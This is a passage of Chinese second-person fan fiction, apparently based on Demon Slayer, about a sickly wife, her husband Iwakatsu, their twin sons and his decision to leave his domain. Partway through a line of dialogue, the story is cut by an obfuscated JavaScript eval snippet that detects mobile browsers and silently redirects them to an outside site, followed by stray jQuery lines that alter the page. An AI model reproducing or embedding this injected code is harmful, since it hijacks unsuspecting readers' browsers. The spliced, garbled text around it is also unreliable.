奶娘把孩子抱给你看。只隔一天出生的两个小婴儿,原本该一般大的兄弟俩,现在哥哥明显比弟弟大了一圈。
你知道,不是长子长得快,而是小的那个发育迟缓。
你抱起弟弟,担心地看着他握成拳的双手。这似乎是肌张力不足的表现,是脑瘫的症状之一。想起这孩子早产又难产,你的心都揪起来了。
可是,你看来看去,看不出个究竟,恨不能变出X光给照照。
看过的几位医师只说这孩子体弱不好养,别的就没了。但还有一种迟发性的脑瘫,据说两三岁才能看出来呢。更怕的是,都用不了多久,这个格外弱小的小婴儿就自己停下了呼吸。
你梦中都坐立难安,醒来好几遍去看孩子,深恨自己上辈子看了太多杂七杂八的书,要不是懂这么多,这会儿也不会整天自己吓自己。
两三岁啊。你想,至少三年内自己是没法安生了。幸好,三年你还是有的。
你再换哥哥抱起,看到他宁静的睡颜,心里稍稍踏实了点。
“这下不用担心分不清哥哥弟弟了。”你苦笑道,“本来我还想,他们跟你和缘一似的,我就难了。”
岩胜停顿了一会儿才说:“我们没那么像。”
“胡说,我可是全靠他的胎记呢。你们长得一模一样,身量身形也像。我还以为缘一在外面吃不好睡不好会长不高呢,没想到差不多。还是遗传靠谱啊,这下不用担心孩子们的身高了。”
你捧起他的脸,仔细端详,又道:“不对,我在开玩笑,你比他漂亮,我不会看错——怎么不说话?”
你轻抵他的额头,在唇上贴了一下。
“在想什么?”
岩胜摸摸你的头发。
“在想给孩子们找奶娘的事,家臣推荐了几个人选。”
因为事出匆忙,这段时间,你们都是找村子里生产过的女人们帮忙喂养。
你全身绷紧,害怕地护住两个孩子:“不,不行,你答应过我可以自己带他们的!”
继承人不能由生母抚养是武家的规定,你知道岩胜就是这样长大的,你的大弟弟名份确立得晚,也是一早就抱离了后院见不着几面,可你绝不接受自己也这样!
剩下的时间已经如此稀少,还要因为陈规陋习和孩子分离,这怎么能接受?
强烈的情绪波动让你又开始眩晕,你一下撑不住差点压到襁褓,岩胜眼疾手快,一手揽住了你倾倒的身子。
“我答应的事不会变,”他的声音始终沉稳,“但照顾两个孩子太过辛苦,我不忍心看你这么累。”
你缓过来,意识到自己的应激多么伤人,抱着脑袋,懊恼得不知该说什么。
“放心,来的人只会是你的帮手,谁也无权干涉你什么。”他安抚地向你保证,直到你完全放松下来。
“岩胜,对不起,我只是很害怕,控制不住。”
“我知道。”他说。这是我的错。
虽然放出了豪言要自己带孩子,但其实你根本承担不了一点养育责任。
疲惫感像细长的水草无时无刻不缠绕着你,睡一觉醒来神清气爽的感觉已永远消失,你在镜中看到自己的脸上蒙着一层灰色,何时都亮不起来,唇色淡得近乎没有,你整宿地失眠又整日地睡不醒,无论是做着什么还是在休息,总是一副歇不过来的样子。
你努力地想要振作,从散步开始恢复体力,没有胃口也按时吃饭,每天至少陪孩子们玩上两刻钟,但每次都是坚持一会儿就心悸、气短,进而头晕眼花。
心里还装着跑跳随心的自己,孱弱的□□却时刻将你束缚在狭小的屋内。于是你过着和其他贵妇别无二般的生活:下人们负责照看孩子,每天抱来给你看看。区别仅仅是,他们就养在你的屋里。
你不得不认清现实,但还是想尽量做些什么。你教奶娘多给弟弟做按摩,帮助他复健,留心两个孩子的发育情况。
哥哥按部就班地伸懒腰、转身、坐起来,到了弟弟这儿就格外艰难,因为病痛,他不断地哭泣,声音也格外的微弱。
你抱着他又拍又哄,实在不知道还能怎么做,每次受挫后,硬撑着回到自己房间里,忍不住就哭一场。
还好,岩胜每一次都在。
鼓起勇气的时候,期待破碎的时候,累到麻木、冷漠的时候,他都在,接住你的每一种情绪。
你担心会耽误他的事,可岩胜总是说:“我会陪着你。”
你不知道外人会有多少微词,岩胜从不让它们传进来,可父亲时透家主的不满就没有办法了。
奶娘私底下告诉过你,那件事后你父亲来过一次,不知和岩胜说了什么,两个人不欢而散。
你猜,肯定不是什么好话。你太了解他的德性了。
想起今生这对父母,你心中涌起的全是和亲情无关的东西。
即使心里明白这是怎样的时代,可他们对世道规则的认同,理所当然都不够,而是如鱼在水般自然自在,他们娴熟地抓取一切甚至血肉砌入这个有利于我的世界,不会觉得有任何不对,相反,看出、指出这点的人才是邪恶的、要被消灭的。
他们实在是一对太标准的武家夫妇,没有半分程序之外的东西,像教科书上的全家福,因为所有人长着相似的周正五官,向同一方向发出幅度一致的微笑,从头到脚透出股伪人味儿,你常常在意识到这点时遍体生寒,实在生不出亲近之心。
感情是相互的,你知道父母也不亲你,骨肉血缘能淡薄到这种程度真是可哀。掺水的孟婆汤让你们无法成为真正意义上的一家人。如果不是长期占据着长女叠加独女的生态位,一开始的那些栽培和重视都不会有吧。
你越是明白他们的凉薄,越感到已拥有的珍贵。有向世俗低头的继国家主,随波逐流的时透夫妇,也有为孩子反抗丈夫的朱乃,有体贴他人甘愿付出的岩胜,环境只不过是提供某种便利,人长成什么样还是凭自己。
这样看来,虽然穿到了哪哪儿不方便的古代日本,上天待你不能算不厚,混成现在这样,是你自己太没用了。
“岩胜,别理他。”你同仇敌忾道,“他就嘴上说两句,能干嘛?”
岩胜笑笑就过去了。
他从来不在意,只是替你不值。但这话,他是不会说的。
岩胜几乎用全部的时间来陪你。
秋天到来。他亲自动手,在你房门对面沿着墙面挖开一条浅沟,移栽下缘一寄来的植株。
第二年五月间,新生的枝条攀上搭好的架子,吐出粉紫色的花穗,满院香风习习,芬芳馥郁。
这附近温泉多,地热资源丰富,花期很长。一年漫长夏秋两季你们伴着紫藤花香度过。
阿系拉起格子门,你和孩子们就坐在檐下看着,次子靠在你身侧,长子已经能跌跌撞撞地跑出去,伸手去够花瓣,被落下的花粉呛得直打喷嚏。
晚上挤在一间屋子里,你们就看窗外的星星。你再次把天文学知识忘个干净,正好听岩胜重新讲解一遍。不巧碰到云多的夜晚,就看月亮的光华在水汽中衍射出五彩的晕轮。两个孩子抱着被子似懂非懂地听织女的故事。
岩胜分别给他们取名为进一和止一。
他说一是起源也是整体,是开始也是圆满,包含无限的生机。你很喜欢。
生活像是晒在棉被上的阳光,柔软温暖,只除了身上的冷。你的屋里四季都点着火盆,也驱散不了无处不在的冷意。各式各样的补品流水一样地送进来,你养到能走路、说笑,做一些简单的活,还是觉得冷。
岩胜询问身体状况,你总是回答“我感觉好多了”。
他日渐沉默,处理好大部分事物,像是要把一辈子的事都一口气替你干了。
期间,他只出门了一次,给断刀举行法事。出自神社的奉纳玉钢,千锤百炼的名家手笔,精挑细选出来供奉佛前的真打,断裂后也要重归寺庙剑葬。
没事做的时候,他也不肯闲下来,看你吃力地从架上取书,索性连整理笔墨纸砚这种小事也代劳了。
你们多了很多共读的时光。他听你朗诵喜欢的文字,声音朗朗可咬金断玉,一字一句仿佛有金属的色泽,不同于庙里学问僧黏糊的吟诵。
养病的时间漫长难熬,你翻完了朱乃留下的佛经,圈点尽了上面的警言妙句,自感足以出家。
岩胜大部分时候静静地听,有时问几句,你就用日语解释一遍。*
“佛经也有些意思,很多道理是相通的。”一次他说。
“你说哪一句?”你精神一振,赶紧问他。
“盲龟浮木喻,”他说,“浩瀚大海中的一只盲眼海龟,百年探头一次,恰好钻进一块浮木的孔中得遇佛法,凡人触摸不到天才的境界,就像这盲龟把方寸的机缘当作什么了不起的东西,不是很可笑吗?”*
你隐约嗅到危险的气味,却茫然不知如何应对。他已自知失言,转移了话题。
“你读得真好听,再读一些别的吧。”
人们对他者的解读往往是给自己下的考语,你觉得可能读什么都一样。
你放下佛经,改看诗文,哪首阳光积极就读哪首。岩胜不再擅自发表评论,你攒了一肚子的话没处说,深深地怀疑他是故意的,可岩胜不给你发难的机会,埋头整理纸张。
出事之前,你写了厚厚的几沓子笔记,有汉字的,也有假名的,零零散散地夹在各种书里,一直想不起来收拾。岩胜帮忙取出来,按顺序一一摆放好。
你抢过来自己整理,他也不恼,就这么看着,需要哪本就乖乖地递过来。你没心思干了。
巨大的问题横亘在面前,当事人拒绝处理。
他只是翻看手里的字纸说:“你真的很有才华,这样的汉学水平是我平生所见的第一,多少自夸学问的人根本比不上,就凭这一点,你当初完全能嫁到更高的人家,岳父肯运作的话,嫁入公家甚至入宫也不是难事,我……”
你捂住他的嘴:“别说了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048781|194774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
岩胜停下,眼睛不敢看你。
“岩胜,嫁给别人或许会有更富贵的生活,可嫁给你才有我想要的生活,你明白吗?”你尽量用轻松的口吻去说,但失败了。
“你说的那些,确实存在实现的可能,但它们都太复杂了,我应付不来。”
你承认,美貌、才华、金钱、地位之间等价或不等的交换,是人世间赖以运行的基本规则之一,人生的本质就是不同的换算,不乏有高手通过令人眼花缭乱的公式推导走上巅峰,但你仍然希望自己的配平步骤能简单再简单一些。
冥冥之中若有天意,就让人皆得偿所愿吧,你只要你的世界里,一切事物都是它们本来的样子。才华就是才华,爱好就是爱好,不必非得换来什么。
“我诞生于世就是为了使生活变得单纯,并找到正确的出路。”*你引用了一句小说里的话作为总结,“不要再说当初、假如这种话了。”
那次谈话后,你们很久没有再聊真正的心里话。言不由衷的鼓励说了一箩筐,你和他都知道对方没有听进去。
事情是怎么发展成了这样,你束手无策。
岩胜继续他的埋头苦干,剑术反而荒废了。他说以前的练法不对,方向错误,练越多只会偏离得越远,他要好好想想,再重新开始。
他说这话的时候,你恍恍惚惚好像看到了一个巨大的高考倒计时在哗啦啦的翻页,数字清零的那一天,你们的生活一定会翻天覆地。
你束手无策,高三总有结束的时候,非人力可干预。你曾经期待过,现在却忐忑不安。
岩胜的目光变得飘忽不停,常常落在越过你的位置,又忽然小心翼翼地收回来,似乎连这样都担心会伤害到你。
你们徒劳地等待着第二只靴子落地。
阿系把闲置在柜子里的衣料翻了出来,岩胜送的西阵织裁成了小袖和服,现在穿正好合适。
你挑了一个阳光很好的晴天穿给他看,和服上淡雅的百合花纹样果然很适合你,但那素净的颜色让你缺乏血色的脸看起来更加苍白。
或许在时人的眼中,这样更美也说不定呢。你乐观地想。
岩胜照常夸赞你,眼神、语气无一不真诚,你依然开心不起来。
家里多了好多人,继国家的家臣、统领的下级武士、下辖的小领主、封地内的富户……这些人整日眉头紧锁地进进出出,离开后有的忧虑不已,有的一脸暗喜。
然后就是相邻方国的各家盟友,他们显然不好说话,争吵声从议事厅一直穿到寝屋。但再难说话,利益到手嘴也会软上三分,慢慢地,他们也和言细语起来,就是不知几家欢喜几家愁。
时间长了,奶娘也起了疑,问你:“家主这是在忙什么?这么些八辈子都凑不齐的人,怎么全来了?”
你一声不吭,只等岩胜亲自开口。他却像无事人一样,等闲就来看你,关心你的身体,叮嘱你按时喝药进补,唯独不加以解释。
可你们都清楚,那一天总会到来。
又一年过去,院里的紫藤花蔓延了一倍多,柔韧的枝条爬满墙面,香馥馥的花穗低垂下,送来阵阵香风。你看起来也好了许多,不再那么依赖被炉和屏风,可以一个人走来走去,不至于动辄伤风感冒。
那件青色的和服披在你身上,散落的百合花从下摆一路攀升到胸前,两个孩子环绕在身侧,摩挲着你袖口的纹样,你拉起他们的小手,看到岩胜从走廊的另一端过来。
父亲第一时间赶来,激烈地表达了反对。稳定、可靠的盟友才符合他的利益,岩胜要走,对他而言就是背叛。
“异想天开!”他拍着桌子,气得面皮紫胀,“堂堂武士,丢下封地、丢下家宅,你要干什么?你想干什么!”
他的声浪一阵比一阵高,说到后来唾沫横风、口干舌燥,岩胜岿然不动。
另一边,奶娘在哭。“你劝劝他,劝劝家主呀!”
你麻木地坐着,只是在想:他怎么这么胖了?
几年不见,父亲肉身膨胀,已变成了一个脑满肠肥的大胖子,说着话,冒出一脑门的虚汗,两颊的肉都在颤,那些疾言厉色的警告,完全发挥不出应有的效果,只会让人发笑。
你涣散的眼神从他不断开合的嘴下移到鼓囊囊的腰身,怀疑他别说是骑马打仗,恐怕连从前的盔甲都塞不进去了。
这样一个人大谈着武士的忠义和职责,究竟有什么说服力呢?
时透家主说得口渴了,接过阿系端来的茶杯,一仰脖就看见了你。
“还有,”他一来劲直接指着你,“责任是能随随便便丢下的吗,你对得起你老婆孩子?我告你,你这是抛妻弃子,你有什么脸?今天当着你夫人我女儿的面,你给我把话收回来,快说!”
“父亲!”你说话了。
所有人的注视中,你从坐垫上站起,来到父亲面前。
“岩胜没有对不起我,从来没有,一刻也没有。”你说。“我支持他离开。”